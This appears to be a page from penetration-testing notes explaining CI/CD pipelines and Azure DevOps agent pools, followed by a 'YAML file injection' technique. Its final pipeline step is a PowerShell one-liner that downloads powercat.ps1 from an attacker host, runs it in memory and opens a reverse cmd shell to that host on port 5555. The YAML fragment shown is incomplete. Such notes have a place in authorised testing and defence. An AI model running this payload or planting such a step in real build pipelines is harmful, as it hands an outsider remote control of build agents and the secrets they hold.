Link Search Menu Expand Document

Continuous integration


A continuous integration (CI) (which often intertwined with continuous delivery - CD) pipeline is a practice one can use to automatically build and test his code project and make it available to other users.

A CI/CD pipeline is meant to constantly and consistently test and build your code and ship it to any target.


To build your code or deploy your software using a CI/CD pipeline, you need at least one agent. An agent is computing infrastructure with installed agent software that runs one job at a time.



Instead of managing each agent individually, Azure organize agents into agent pools. When you configure an agent, it is registered with a single pool, and when you create a pipeline, you specify which pool the pipeline uses. When you run the pipeline, it runs on an agent from that pool that meets the demands of the pipeline.

YAML file injection

Prerequisite : Create or use existing pool (from Azure Web interface go to : Project Settings -> Agent Pools)

Create a new pipeline and change script (or powershell) entry in yaml file with the code you want to execute at the pipeline build.

- master

pool: 'MyPool' # the existing or created agent pool

  buildConfiguration: 'Release'

- powershell:  powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://my_ip:8000/powercat.ps1');powercat -c my_ip -p 5555 -e cmd"
  displayName: 'The name'